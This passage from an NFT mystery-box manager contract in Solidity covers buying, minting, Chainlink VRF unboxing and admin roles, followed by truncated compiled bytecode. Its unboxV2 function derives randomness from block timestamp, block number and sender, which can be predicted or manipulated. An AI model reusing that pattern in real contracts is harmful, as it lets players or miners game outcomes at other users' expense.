length_, uint256 artifactValue_) private pure returns (uint256) { return((artifactValue_ << lsbIndex_) & _getBitMask(lsbIndex_, length_)) | _clearBits(artifacts_, lsbIndex_, length_); } /** * @dev Transfer the ownership of NFT */ function upgradeNFTCoreOwner(address newOwner_) external onlyRole(CONTRACT_UPGRADER) { nftCore.transferOwnership(newOwner_); } /** * @dev update nft core contract */ function updateNFTCoreContract(address newAddress_) external onlyRole(CONTRACT_UPGRADER) { nftCore = ChatPuppyNFTCore(newAddress_); } /** * @dev Increase the cap of NFT */ function increaseCap(uint256 amount_) external onlyRole(CAP_MANAGER_ROLE) { nftCore.increaseCap(amount_); } /** * @dev Update status of buy and mint */ function setCanBuyAndMint(bool _status) external onlyRole(MANAGER_ROLE) { canBuyAndMint = _status; } /** * @dev Update status of unbox */ function setCanUnbox(bool _status) external onlyRole(MANAGER_ROLE) { canUnbox = _status; } /** * @dev update mystery box price */ function updateBoxPrice(uint256 price_) external onlyRole(MANAGER_ROLE) { require(price_ > 0, "ChatPuppyNFTManager: box price can not be zero"); boxPrice = price_; } /** * @dev pause NFT transaction */ function pause() external onlyRole(PAUSER_ROLE) { nftCore.pause(); } /** * @dev restart NFT transaction */ function unpause() external onlyRole(PAUSER_ROLE) { nftCore.unpause(); } /** * @dev Update Item Factory */ function updateItemFactory(address itemFactory_) public onlyRole(CONTRACT_UPGRADER) { require(itemFactory_ != address(0), "ChatPuppyNFTManager: itemFactory_ is the zero address"); _updateItemFactory(itemFactory_); } /** * @dev Update ChainLink Random VRFCoordinatorV2 */ function updateVRFCoordinatorV2(address vrfCoordinator_) public onlyRole(CONTRACT_UPGRADER) { require(vrfCoordinator_ != address(0), "ChatPuppyNFTManager: vrfCoordinator_ is the zero address"); COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator_); } function updateKeyHash(bytes32 keyHash_) public onlyRole(CONTRACT_UPGRADER) { _keyHash = keyHash_; } function updateSubscriptionId(uint64 subscriptionId_) public onlyRole(CONTRACT_UPGRADER) { _subscriptionId = subscriptionId_; } function updateCallbackGasLimit(uint32 callbackGasLimit_) public onlyRole(CONTRACT_UPGRADER) { require(callbackGasLimit_ >= 100000, "ChatPuppyNFTManager: Suggest to set 100000 mimimum"); _callbackGasLimit = callbackGasLimit_; } function updateRequestConfirmations(uint16 requestConfirmations_) public onlyRole(CONTRACT_UPGRADER) { _requestConfirmations = requestConfirmations_; } /** * @dev Withdraw ETH/BNB from NFTManager contracts */ function withdraw(address to_, uint256 amount_) public onlyRole(MANAGER_ROLE) { require(to_ != address(0), "ChatPuppyNFTManager: withdraw address is the zero address"); require(amount_ > uint256(0), "ChatPuppyNFTManager: withdraw amount is zero"); uint256 balance = address(this).balance; require(balance >= amount_, "ChatPuppyNFTManager: withdraw amount must smaller than balance"); (bool sent, ) = to_.call{value: amount_}(""); require(sent, "ChatPuppyNFTManager: Failed to send Ether"); } /** * Buy and mint */ function buyAndMint() public payable { require(canBuyAndMint, "ChatPuppyNFTManager: not allowed to buy and mint"); require(msg.value >= boxPrice, "ChatPuppyNFTManager: payment is not enough"); _mint(_msgSender()); } /** * Buy set of mystery box and mint */ function buyAndMintBatch(uint256 amount_) public payable { require(canBuyAndMint, "ChatPuppyNFTManager: not allowed to buy and mint"); require(amount_ > 0, "ChatPuppyNFTManager: amount_ is 0"); require(msg.value >= boxPrice * amount_, "ChatPuppyNFTManager: Batch purchase payment is not enough"); for (uint256 i = 0; i < amount_; i++) { buyAndMint(); } } /** * Buy, mint and unbox */ function buyMintAndUnbox() public payable { require(canBuyAndMint, "ChatPuppyNFTManager: not allowed to buy and mint"); require(msg.value >= boxPrice, "ChatPuppyNFTManager: payment is not enough"); uint256 _tokenId = _mint(_msgSender()); unbox(_tokenId); } /** * @dev Mint NFT with boxType */ function mint(address to_) public onlyRole(MINTER_ROLE) { _mint(to_); } /** * @dev Batch mint */ function mintBatch(address to_, uint256 amount_) external onlyRole(MINTER_ROLE) { require(amount_ > 0, "ChatPuppyNFTManager: amount_ is 0"); require(nftCore.totalSupply() + amount_ <= nftCore.cap(), "cap exceeded"); for (uint256 i = 0; i < amount_; i++) { _mint(to_); } } function _mint(address to_) private returns(uint256) { return nftCore.mint(to_); } function boxStatus(uint256 tokenId_) public view returns(uint8) { if(_requestIds[tokenId_] > uint256(0) && _randomWords[tokenId_].length == 0) return 2; // unboxing else if(_requestIds[tokenId_] > uint256(0) && _randomWords[tokenId_].length > 0) return 1; //unboxed else return 0; // can unbox } /** * @dev Unbox mystery box * This is a payable function */ function unbox(uint256 tokenId_) public payable onlyExistedToken(tokenId_) onlyTokenOwner(tokenId_) onlyMysteryBox(tokenId_) { require(canUnbox, "ChatPuppyNFTManager: unbox is forbidden"); require(boxStatus(tokenId_) == 0, "ChatPuppyNFTManager: token is unboxing or unboxed"); require(boxTypes.length > 0, "ChatPuppyNFTManager: boxTypes is not set"); _takeRandomFee(); uint256 requestId_ = COORDINATOR.requestRandomWords( _keyHash, _subscriptionId, _requestConfirmations, _callbackGasLimit, 1 ); _requestIds[tokenId_] = requestId_; _tokenIds[requestId_] = tokenId_; emit UnboxToken(tokenId_, requestId_); } /** * After unbox and requestRandomNumber, this fulfillRandomness callback function will be called automaticly * and update random metadata for NFT * * For getting random number by ChainLink VRF, refer to: https://docs.chain.link/docs/intermediates-tutorial/ * * ArtifactValue format: * 0~7: boxType#1(trait#1), len=8, 0-255 * 8~15: boxType#2, len=8, 0-255 * 16~23: boxType#3, len=8, 0-255 * 24~31: boxType#4, len=8, 0-255 * 32~39: boxType#5, len=8, 0-255 * 40~47: boxType#6, len=8, 0-255 * 48~63: level, len=16, 0-65535 * 64~79: experience, len=16, 0-65535 * * dna format: * dna = bytes32(keccak256(abi.encodePacked(tokenId_, randomness_))); * */ function _expand(uint256 randomValue, uint256 n) internal pure returns (uint256[] memory){ uint256[] memory expandedValues = new uint256[](n); for(uint256 i = 0; i < n; i++) expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i))); return expandedValues; } function randomWords(uint256 tokenId_) public view returns(uint256, uint256[] memory) { return (_requestIds[tokenId_], _randomWords[tokenId_]); } function fulfillRandomWords(uint256 requestId_, uint256[] memory randomWords_) internal override { uint256 tokenId_ = _tokenIds[requestId_]; (bytes32 _dna, uint256 _artifacts, ) = nftCore.tokenMetaData(tokenId_); uint256 randomness_ = randomWords_[0]; uint256[] memory randomWords__ = _expand(randomness_, 6); _dna = bytes32(keccak256(abi.encodePacked(tokenId_, randomness_))); uint256[] memory _itemIds = new uint256[](boxTypes.length); for(uint256 i = 0; i < boxTypes.length; i++) { uint256 _itemId = itemFactory.getRandomItem( randomWords__[i], boxTypes[i] ); _itemIds[i] = _itemId; _artifacts = _addArtifactValue(_artifacts, i * 8, 8, _itemId); // add itemId } _artifacts = _addArtifactValue(_artifacts, boxTypes.length * 8, 16, itemFactory.getItemInitialLevel(boxTypes, _itemIds)); // add level _artifacts = _addArtifactValue(_artifacts, boxTypes.length * 8 + 16, 16, itemFactory.getItemInitialExperience(boxTypes, _itemIds)); // add exeperience _randomWords[tokenId_] = randomWords__; nftCore.updateTokenMetaData(tokenId_, _artifacts, _dna); emit TokenFulfilled(tokenId_); } function supportedBoxTypes() external view returns (uint256[] memory) { return _supportedBoxTypes.values(); } function upgradeNFT(uint256 tokenId_, uint256 artifacts_) external onlyRole(NFT_UPGRADER) { nftCore.updateTokenMetaData(tokenId_, artifacts_); } function updateRandomFee(uint256 randomFee_) public onlyRole(MANAGER_ROLE) { randomFee = randomFee_; } function updateFeeAccount(address feeAccount_) public onlyRole(MANAGER_ROLE) { require(feeAccount_ != address(0), "ChatPuppyNFTManager: feeAccount can not be zero address"); feeAccount = feeAccount_; } function updateBoxTypes(uint256[] calldata boxTypes_) external onlyRole(MANAGER_ROLE) { boxTypes = boxTypes_; } function updateTokenURI(uint256 tokenId_, string calldata uri_) external onlyRole(NFT_UPGRADER) { nftCore.updateTokenURI(tokenId_, uri_); } function _takeRandomFee() internal { if (randomFee > 0) { require(msg.value >= randomFee, "ChatPuppyNFTManager: insufficient fee"); require(feeAccount != address(0), "ChatPuppyNFTManager: feeAccount is the zero address"); (bool success, ) = address(feeAccount).call{value: msg.value}(new bytes(0)); require(success, "ChatPuppyNFTManager: fee required"); } } function getLocalRandomness(uint256 tokenId) internal view returns(uint256) { uint256 time = block.timestamp; uint256 height = block.number; return uint256(keccak256(abi.encode(time, height, msg.sender, tokenId))); } function unboxV2(uint256 tokenId_) onlyExistedToken(tokenId_) onlyTokenOwner(tokenId_) onlyMysteryBox(tokenId_) public { uint256 randomness_ = getLocalRandomness(tokenId_); bytes32 _dna = bytes32(keccak256(abi.encodePacked(tokenId_, randomness_))); uint256 _artifacts = 0; uint256[] memory randomWords__ = _expand(randomness_, boxTypes.length); uint256[] memory _itemIds = new uint256[](boxTypes.length); for(uint256 i = 0; i < boxTypes.length; i++) { uint256 _itemId = itemFactory.getRandomItem( randomWords__[i], boxTypes[i] ); _itemIds[i] = _itemId; _artifacts = _addArtifactValue(_artifacts, i * 8, 8, _itemId); // add itemId } _artifacts = _addArtifactValue(_artifacts, boxTypes.length * 8, 16, itemFactory.getItemInitialLevel(boxTypes, _itemIds)); // add level _artifacts = _addArtifactValue(_artifacts, boxTypes.length * 8 + 16, 16, itemFactory.getItemInitialExperience(boxTypes, _itemIds)); // add exeperience _requestIds[tokenId_] = uint256(keccak256(abi.encode(tokenId_))); _randomWords[tokenId_] = randomWords__; nftCore.updateTokenMetaData(tokenId_, _artifacts, _dna); } }
0x6080604052600436106103505760003560e01c80638456cb59116101c6578063d15bf73a116100f7578063e7fa67e511610095578063f3fef3a31161006f578063f3fef3a3146109f2578063f6c5eba914610a12578063f9578c5e14610a32578063fff13ee714610a5257600080fd5b8063e7fa67e514610990578063eb143722146109b0578063ec87621c146109d057600080fd5b8063d5c81b53116100d1578063d5c81b53146108fa578063db3183091461091c578063e5c4147b1461093c578063e63ab1e91461095c57600080fd5b8063d15bf73a1461089e578063d5391393146108a6578063d547741f146108da57600080fd5b8063a57613ee11610164578063b0e8d0861161013e578063b0e8d08614610810578063ba00f6c514610830578063beff730f14610850578063ca15c8731461087e57600080fd5b8063a57613ee146107ba578063a6482858146107da578063afa92d0d146107f057600080fd5b806391d14854116101a057806391d14854146107455780639fab890914610765578063a17ffc2314610785578063a217fddf146107a557600080fd5b80638456cb59146106dc5780638e141c75146106f15780639010d07c1461072557600080fd5b80633a931a1d116102a057806365e17c9d1161023e5780636cfeeb5c116102185780636cfeeb5c1461066f5780636ef9c2ef1461068f5780637f8eacdb146106af578063836ec0a4146106c957600080fd5b806365e17c9d1461060f5780636a6278421461062f5780636bac71941461064f57600080fd5b80634318b4691161027a5780634318b4691461057c5780634a5b7e791461059b5780634ad62ae6146105bd578063523e9551146105ef57600080fd5b80633a931a1d146105275780633b2bcbf1146105475780633f4ba83a1461056757600080fd5b80631fe543e31161030d5780632bce443b116102e75780632bce443b146104ab5780632f2ff15d146104df57806331876bc6146104ff57806336568abe1461050757600080fd5b80631fe543e31461043b578063248a9ca31461045b578063248b71fc1461048b57600080fd5b806301ffc9a71461035557806303d8e4a91461038a5780630c5ff102146103ae57806314b1dd1b146103e657806318e97fd1146104085780631ec6ff6914610428575b600080fd5b34801561036157600080fd5b506103756103703660046131c1565b610a72565b60405190151581526020015b60405180910390f35b34801561039657600080fd5b506103a0600b5481565b604051908152602001610381565b3480156103ba57600080fd5b506003546103ce906001600160a01b031681565b6040516001600160a01b039091168152602001610381565b3480156103f257600080fd5b506104066104013660046131eb565b610a9d565b005b34801561041457600080fd5b50610406610423366004613215565b610aeb565b610406610436366004613291565b610b82565b34801561044757600080fd5b506104066104563660046132f1565b610fcc565b34801561046757600080fd5b506103a0610476366004613291565b60009081526020819052604090206001015490565b34801561049757600080fd5b506104066104a63660046133b8565b611054565b3480156104b757600080fd5b506103a07f769a3fe963af1fee8028cb8159c2b73fe68880b602626ad8553224249b515a4081565b3480156104eb57600080fd5b506104066104fa3660046133e4565b611215565b61040661123c565b34801561051357600080fd5b506104066105223660046133e4565b61128c565b34801561053357600080fd5b506103a0610542366004613291565b6112ae565b34801561055357600080fd5b50600a546103ce906001600160a01b031681565b34801561057357600080fd5b506104066112cf565b34801561058857600080fd5b5060105461037590610100900460ff1681565b3480156105a757600080fd5b506103a0600080516020613aca83398151915281565b3480156105c957600080fd5b506105dd6105d8366004613291565b611365565b60405160ff9091168152602001610381565b3480156105fb57600080fd5b5061040661060a366004613291565b6113da565b34801561061b57600080fd5b50600c546103ce906001600160a01b031681565b34801561063b57600080fd5b5061040661064a366004613414565b611468565b34801561065b57600080fd5b506002546103ce906001600160a01b031681565b34801561067b57600080fd5b5061040661068a36600461343f565b61149c565b34801561069b57600080fd5b506104066106aa366004613414565b6114d0565b3480156106bb57600080fd5b506010546103759060ff1681565b6104066106d7366004613291565b611566565b3480156106e857600080fd5b50610406611650565b3480156106fd57600080fd5b506103a07f027f9f680a0c6704fd9796b55c67fe885252243966ecb05a88f3e7873c845d9a81565b34801561073157600080fd5b506103ce61074036600461345c565b6116cb565b34801561075157600080fd5b506103756107603660046133e4565b6116ea565b34801561077157600080fd5b50610406610780366004613291565b611713565b34801561079157600080fd5b506104066107a0366004613414565b611732565b3480156107b157600080fd5b506103a0600081565b3480156107c657600080fd5b506104066107d5366004613291565b61177d565b3480156107e657600080fd5b506103a060045481565b3480156107fc57600080fd5b5061040661080b366004613291565b611d00565b34801561081c57600080fd5b5061040661082b36600461347e565b611d86565b34801561083c57600080fd5b5061040661084b3660046134a4565b611e30565b34801561085c57600080fd5b5061087061086b366004613291565b611e6e565b604051610381929190613503565b34801561088a57600080fd5b506103a0610899366004613291565b611ee1565b610406611ef8565b3480156108b257600080fd5b506103a07f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b3480156108e657600080fd5b506104066108f53660046133e4565b611f52565b34801561090657600080fd5b5061090f611f5c565b6040516103819190613524565b34801561092857600080fd5b50610406610937366004613414565b611f6d565b34801561094857600080fd5b50610406610957366004613414565b611fa9565b34801561096857600080fd5b506103a07f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b34801561099c57600080fd5b506104066109ab366004613291565b612061565b3480156109bc57600080fd5b506104066109cb366004613537565b612080565b3480156109dc57600080fd5b506103a0600080516020613aaa83398151915281565b3480156109fe57600080fd5b50610406610a0d3660046133b8565b6120a5565b348015610a1e57600080fd5b50610406610a2d36600461343f565b6122cb565b348015610a3e57600080fd5b50610406610a4d36600461345c565b6122f8565b348015610a5e57600080fd5b50610406610a6d366004613414565b61238d565b60006001600160e01b03198216635a05180f60e01b1480610a975750610a9782612470565b92915050565b600080516020613aca833981519152610ab681336124a5565b50600e805467ffffffffffffffff9092166601000000000000026dffffffffffffffff00000000000019909216919091179055565b7f769a3fe963af1fee8028cb8159c2b73fe68880b602626ad8553224249b515a40610b1681336124a5565b6003546040516318e97fd160e01b81526001600160a01b03909116906318e97fd190610b4a908790879087906004016135ac565b600060405180830381600087803b158015610b6457600080fd5b505af1158015610b78573d6000803e3d6000fd5b5050505050505050565b600354604051634f558e7960e01b81526004810183905282916001600160a01b031690634f558e799060240160206040518083038186803b158015610bc657600080fd5b505afa158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe91906135e2565b610c235760405162461bcd60e51b8152600401610c1a906135ff565b60405180910390fd5b81336003546040516331a9108f60e11b8152600481018490526001600160a01b039283169290911690636352211e9060240160206040518083038186803b158015610c6d57600080fd5b505afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190613649565b6001600160a01b031614610ccb5760405162461bcd60e51b8152600401610c1a90613666565b6003546040516357b51a3b60e11b81526004810185905284916000916001600160a01b039091169063af6a34769060240160006040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d5091908101906136da565b50909150508015610d735760405162461bcd60e51b8152600401610c1a90613783565b601054610100900460ff16610dda5760405162461bcd60e51b815260206004820152602760248201527f4368617450757070794e46544d616e616765723a20756e626f7820697320666f604482015266393134b23232b760c91b6064820152608401610c1a565b610de385611365565b60ff1615610e4d5760405162461bcd60e51b815260206004820152603160248201527f4368617450757070794e46544d616e616765723a20746f6b656e20697320756e604482015270189bde1a5b99c81bdc881d5b989bde1959607a1b6064820152608401610c1a565b600f54610ead5760405162461bcd60e51b815260206004820152602860248201527f4368617450757070794e46544d616e616765723a20626f785479706573206973604482015267081b9bdd081cd95d60c21b6064820152608401610c1a565b610eb5612509565b600a54600d54600e546040516305d3b1d360e41b815260048101929092526601000000000000810467ffffffffffffffff166024830152640100000000810461ffff16604483015263ffffffff166064820152600160848201526000916001600160a01b031690635d3b1d309060a401602060405180830381600087803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7791906137d0565b6000878152600860209081526040808320849055838352600990915280822089905551919250829188917fb39628809f382c5a727f833f6d37e3e35038eb4c094f6d902df1bdd7f96c33b291a3505050505050565b336001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990916146110465760405163073e64fd60e21b81523360048201526001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e69909166024820152604401610c1a565b61105082826126ae565b5050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661107f81336124a5565b6000821161109f5760405162461bcd60e51b8152600401610c1a906137e9565b600360009054906101000a90046001600160a01b03166001600160a01b031663355274ea6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ed57600080fd5b505afa158015611101573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112591906137d0565b600354604080516318160ddd60e01b8152905185926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561116957600080fd5b505afa15801561117d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a191906137d0565b6111ab9190613840565b11156111e85760405162461bcd60e51b815260206004820152600c60248201526b18d85c08195e18d95959195960a21b6044820152606401610c1a565b60005b8281101561120f576111fc846129f8565b508061120781613858565b9150506111eb565b50505050565b61121f8282612a78565b6000828152600160205260409020611237908261245b565b505050565b60105460ff1661125e5760405162461bcd60e51b8152600401610c1a90613873565b6004543410156112805760405162461bcd60e51b8152600401610c1a906138c3565b611289336129f8565b50565b6112968282612a9e565b60008281526001602052604090206112379082612b18565b600f81815481106112be57600080fd5b600091825260209091200154905081565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a6112fa81336124a5565b600360009054906101000a90046001600160a01b03166001600160a01b0316633f4ba83a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561134a57600080fd5b505af115801561135e573d6000803e3d6000fd5b5050505050565b6000818152600860205260408120541580159061138e5750600082815260076020526040902054155b1561139b57506002919050565b600082815260086020526040902054158015906113c5575060008281526007602052604090205415155b156113d257506001919050565b506000919050565b7f027f9f680a0c6704fd9796b55c67fe885252243966ecb05a88f3e7873c845d9a61140581336124a5565b60035460405163523e955160e01b8152600481018490526001600160a01b039091169063523e9551906024015b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b505050505050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661149381336124a5565b611237826129f8565b600080516020613aaa8339815191526114b581336124a5565b50601080549115156101000261ff0019909216919091179055565b600080516020613aca8339815191526114e981336124a5565b6001600160a01b03821661155d5760405162461bcd60e51b815260206004820152603560248201527f4368617450757070794e46544d616e616765723a206974656d466163746f72796044820152745f20697320746865207a65726f206164647265737360581b6064820152608401610c1a565b61105082612b2d565b60105460ff166115885760405162461bcd60e51b8152600401610c1a90613873565b600081116115a85760405162461bcd60e51b8152600401610c1a906137e9565b806004546115b6919061390d565b34101561162b5760405162461bcd60e51b815260206004820152603960248201527f4368617450757070794e46544d616e616765723a20426174636820707572636860448201527f617365207061796d656e74206973206e6f7420656e6f756768000000000000006064820152608401610c1a565b60005b818110156110505761163e61123c565b8061164881613858565b91505061162e565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a61167b81336124a5565b600360009054906101000a90046001600160a01b03166001600160a01b0316638456cb596040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561134a57600080fd5b60008281526001602052604081206116e39083612b81565b9392505050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b600080516020613aaa83398151915261172c81336124a5565b50600b55565b600080516020613aca83398151915261174b81336124a5565b60035460405163f2fde38b60e01b81526001600160a01b0384811660048301529091169063f2fde38b90602401611432565b600354604051634f558e7960e01b81526004810183905282916001600160a01b031690634f558e799060240160206040518083038186803b1580156117c157600080fd5b505afa1580156117d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f991906135e2565b6118155760405162461bcd60e51b8152600401610c1a906135ff565b81336003546040516331a9108f60e11b8152600481018490526001600160a01b039283169290911690636352211e9060240160206040518083038186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118979190613649565b6001600160a01b0316146118bd5760405162461bcd60e51b8152600401610c1a90613666565b6003546040516357b51a3b60e11b81526004810185905284916000916001600160a01b039091169063af6a34769060240160006040518083038186803b15801561190657600080fd5b505afa15801561191a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261194291908101906136da565b509091505080156119655760405162461bcd60e51b8152600401610c1a90613783565b6040805142602080830191909152438284015233606083015260808083018990528351808403909101815260a08301845280519082012060c0830189905260e0808401829052845180850390910181526101009093019093528151910120600f5460009081906119d6908590612b8d565b600f5490915060009067ffffffffffffffff8111156119f7576119f76132aa565b604051908082528060200260200182016040528015611a20578160200160208202803683370190505b50905060005b600f54811015611b435760025483516000916001600160a01b03169063274628b790869085908110611a5a57611a5a61392c565b6020026020010151600f8581548110611a7557611a7561392c565b90600052602060002001546040518363ffffffff1660e01b8152600401611aa6929190918252602082015260400190565b60206040518083038186803b158015611abe57600080fd5b505afa158015611ad2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af691906137d0565b905080838381518110611b0b57611b0b61392c565b6020908102919091010152611b2d85611b2584600861390d565b600884612c45565b9450508080611b3b90613858565b915050611a26565b50600f54611be1908490611b5890600861390d565b6002546040516394671d7b60e01b81526010916001600160a01b0316906394671d7b90611b8c90600f908990600401613942565b60206040518083038186803b158015611ba457600080fd5b505afa158015611bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bdc91906137d0565b612c45565b600f54909350611c37908490611bf890600861390d565b611c03906010613840565b60025460405163535089d160e11b81526010916001600160a01b03169063a6a113a290611b8c90600f908990600401613942565b925089604051602001611c4c91815260200190565b60408051601f19818403018152918152815160209283012060008d8152600884528281209190915560078352208351611c8792850190613126565b50600354604051632a4f046760e11b8152600481018c905260248101859052604481018690526001600160a01b039091169063549e08ce90606401600060405180830381600087803b158015611cdc57600080fd5b505af1158015611cf0573d6000803e3d6000fd5b5050505050505050505050505050565b600080516020613aaa833981519152611d1981336124a5565b60008211611d805760405162461bcd60e51b815260206004820152602e60248201527f4368617450757070794e46544d616e616765723a20626f78207072696365206360448201526d616e206e6f74206265207a65726f60901b6064820152608401610c1a565b50600455565b600080516020613aca833981519152611d9f81336124a5565b620186a08263ffffffff161015611e135760405162461bcd60e51b815260206004820152603260248201527f4368617450757070794e46544d616e616765723a205375676765737420746f2060448201527173657420313030303030206d696d696d756d60701b6064820152608401610c1a565b50600e805463ffffffff191663ffffffff92909216919091179055565b600080516020613aca833981519152611e4981336124a5565b50600e805461ffff9092166401000000000265ffff0000000019909216919091179055565b60008181526008602090815260408083205460078352818420805483518186028101860190945280845260609492939192839190830182828015611ed157602002820191906000526020600020905b815481526020019060010190808311611ebd575b5050505050905091509150915091565b6000818152600160205260408120610a9790612c6b565b60105460ff16611f1a5760405162461bcd60e51b8152600401610c1a90613873565b600454341015611f3c5760405162461bcd60e51b8152600401610c1a906138c3565b6000611f47336129f8565b905061128981610b82565b6112968282612c75565b6060611f686005612c9b565b905090565b600080516020613aca833981519152611f8681336124a5565b50600380546001600160a01b0319166001600160a01b0392909216919091179055565b600080516020613aca833981519152611fc281336124a5565b6001600160a01b03821661203e5760405162461bcd60e51b815260206004820152603860248201527f4368617450757070794e46544d616e616765723a20767266436f6f7264696e6160448201527f746f725f20697320746865207a65726f206164647265737300000000000000006064820152608401610c1a565b50600a80546001600160a01b0319166001600160a01b0392909216919091179055565b600080516020613aca83398151915261207a81336124a5565b50600d55565b600080516020613aaa83398151915261209981336124a5565b61120f600f8484613171565b600080516020613aaa8339815191526120be81336124a5565b6001600160a01b03831661213a5760405162461bcd60e51b815260206004820152603960248201527f4368617450757070794e46544d616e616765723a20776974686472617720616460448201527f647265737320697320746865207a65726f2061646472657373000000000000006064820152608401610c1a565b6000821161219f5760405162461bcd60e51b815260206004820152602c60248201527f4368617450757070794e46544d616e616765723a20776974686472617720616d60448201526b6f756e74206973207a65726f60a01b6064820152608401610c1a565b47828110156122165760405162461bcd60e51b815260206004820152603e60248201527f4368617450757070794e46544d616e616765723a20776974686472617720616d60448201527f6f756e74206d75737420736d616c6c6572207468616e2062616c616e636500006064820152608401610c1a565b6000846001600160a01b03168460405160006040518083038185875af1925050503d8060008114612263576040519150601f19603f3d011682016040523d82523d6000602084013e612268565b606091505b505090508061135e5760405162461bcd60e51b815260206004820152602960248201527f4368617450757070794e46544d616e616765723a204661696c656420746f207360448201526832b7321022ba3432b960b91b6064820152608401610c1a565b600080516020613aaa8339815191526122e481336124a5565b506010805460ff1916911515919091179055565b7f769a3fe963af1fee8028cb8159c2b73fe68880b602626ad8553224249b515a4061232381336124a5565b600354604051633d22c77560e11b815260048101859052602481018490526001600160a01b0390911690637a458eea90604401600060405180830381600087803b15801561237057600080fd5b505af1158015612384573d6000803e3d6000fd5b50505050505050565b600080516020613aaa8339815191526123a681336124a5565b6001600160a01b0382166124225760405162461bcd60e51b815260206004820152603760248201527f4368617450757070794e46544d616e616765723a206665654163636f756e742060448201527f63616e206e6f74206265207a65726f20616464726573730000000000000000006064820152608401610c1a565b50600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006116e38383612ca8565b6110508282612cf7565b60006116e3836001600160a01b038416612ca8565b60006001600160e01b03198216637965db0b60e01b1480610a9757506301ffc9a760e01b6001600160e01b0319831614610a97565b6124af82826116ea565b611050576124c7816001600160a01b03166014612d7b565b6124d2836020612d7b565b6040516020016124e39291906139a1565b60408051601f198184030181529082905262461bcd60e51b8252610c1a91600401613a16565b600b54156126ac57600b543410156125715760405162461bcd60e51b815260206004820152602560248201527f4368617450757070794e46544d616e616765723a20696e73756666696369656e604482015264742066656560d81b6064820152608401610c1a565b600c546001600160a01b03166125e55760405162461bcd60e51b815260206004820152603360248201527f4368617450757070794e46544d616e616765723a206665654163636f756e7420604482015272697320746865207a65726f206164647265737360681b6064820152608401610c1a565b600c546040805160008082526020820192839052926001600160a01b031691349161260f91613a49565b60006040518083038185875af1925050503d806000811461264c576040519150601f19603f3d011682016040523d82523d6000602084013e612651565b606091505b50509050806112895760405162461bcd60e51b815260206004820152602160248201527f4368617450757070794e46544d616e616765723a2066656520726571756972656044820152601960fa1b6064820152608401610c1a565b565b6000828152600960205260408082205460035491516357b51a3b60e11b81526004810182905290929182916001600160a01b039091169063af6a34769060240160006040518083038186803b15801561270657600080fd5b505afa15801561271a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261274291908101906136da565b509150915060008460008151811061275c5761275c61392c565b602002602001015190506000612773826006612b8d565b60408051602081018890529081018490529091506060016040516020818303038152906040528051906020012093506000600f8054905067ffffffffffffffff8111156127c2576127c26132aa565b6040519080825280602002602001820160405280156127eb578160200160208202803683370190505b50905060005b600f548110156129065760025483516000916001600160a01b03169063274628b7908690859081106128255761282561392c565b6020026020010151600f85815481106128405761284061392c565b90600052602060002001546040518363ffffffff1660e01b8152600401612871929190918252602082015260400190565b60206040518083038186803b15801561288957600080fd5b505afa15801561289d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128c191906137d0565b9050808383815181106128d6576128d661392c565b60209081029190910101526128f086611b2584600861390d565b95505080806128fe90613858565b9150506127f1565b50600f5461291b908590611b5890600861390d565b600f54909450612932908590611bf890600861390d565b60008781526007602090815260409091208451929650612956929091850190613126565b50600354604051632a4f046760e11b81526004810188905260248101869052604481018790526001600160a01b039091169063549e08ce90606401600060405180830381600087803b1580156129ab57600080fd5b505af11580156129bf573d6000803e3d6000fd5b50506040518892507f1d2090148217ca071b2e2c8f772738f628399cb55292a812cd84cbc3d76fb60b9150600090a25050505050505050565b6003546040516335313c2160e11b81526001600160a01b0383811660048301526000921690636a62784290602401602060405180830381600087803b158015612a4057600080fd5b505af1158015612a54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9791906137d0565b600082815260208190526040902060010154612a9481336124a5565b6112378383612cf7565b6001600160a01b0381163314612b0e5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610c1a565b6110508282612f17565b60006116e3836001600160a01b038416612f7c565b600280546001600160a01b0319166001600160a01b0383169081179091556040519081527fb559d8170ace02c3952e61b0283069cbd855873809630a54f2ca448cca7c7b1c9060200160405180910390a150565b60006116e3838361306f565b606060008267ffffffffffffffff811115612baa57612baa6132aa565b604051908082528060200260200182016040528015612bd3578160200160208202803683370190505b50905060005b83811015612c3d5760408051602081018790529081018290526060016040516020818303038152906040528051906020012060001c828281518110612c2057612c2061392c565b602